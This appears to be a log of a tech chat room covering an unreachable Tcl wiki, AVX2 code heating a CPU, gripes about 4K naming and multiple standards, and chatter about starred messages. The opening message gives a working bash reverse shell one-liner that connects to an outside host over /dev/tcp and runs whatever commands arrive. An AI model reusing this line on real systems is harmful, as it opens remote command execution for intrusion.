@HackToHell: Heres my reverse shell script.. you just open a listener port on port 31337 on your machine and then... exec 5<>/dev/tcp/myremote.box.com/31337;cat <&5 | while read line; do $line 2>&5 >&5; done
It is not a torrent site. Google www tcl tk, Google still has all of the wiki pages in cache. But I want to get back to the real site obviously. Could their domain name have gotten squatted by someone?
Running some neural network simulations compiled in VC++ 2015 with AVX2 enabled. Very, very hard on the CPU. It's running hot as hell and the processor is already throttled to less than 3 GHz!
Vectorized code, especially AVX, naturally increases CPU heat output because more of the processor must be used at a time to quickly produce a result. Small FFTs demand less memory than the blend mode, so the processor spends more time processing data and less time waiting for data.
The x86-64 ...
Funny how half the starred messages in this room are me whining about being starred. I really don't understand what you guys find so amusing about this.
Critical thing for me is the wiki.tcl.tk pages. A lot of good info there. Right now only accessible through typing in URLs and looking at the Google cached versions or web.archive.org.
But no, now we have "quad" HD, which refers to the number of pixels for some stupid reason, and 4K because some retard decided we should start going by width FFS
Come the revolution the marketing teams will be first up against the wall.
You know, once I become Emperor of Earth all the groups of people who come up with "standards" will be locked into rooms, be given baseball bats and only allowed out when they've settled down on a single choice. You get one standard, not all of them.
I don't care how they decide which standard is "better", but a single standard is more useful to society as a whole if only to reduce the batshit crazy amount of wasted effort catering to the crazy things which are almost the same but completely different.
I've seen a few of the higher end graphics cards claiming support for 4K, but surely the overhead for pushing that many pixels through the pipe just kills performance?
PSA: Everyone, please stop starring chmod messages from qasdfdsaq. He's finding it embarrassing, and continuing to doing so is likely to be seen as harassment.
Vectorized code, especially AVX, naturally increases CPU heat output because more of the processor must be used at a time to quickly produce a result. Small FFTs demand less memory than the blend mode, so the processor spends more time processing data and less time waiting for data.
The x86-64 ...
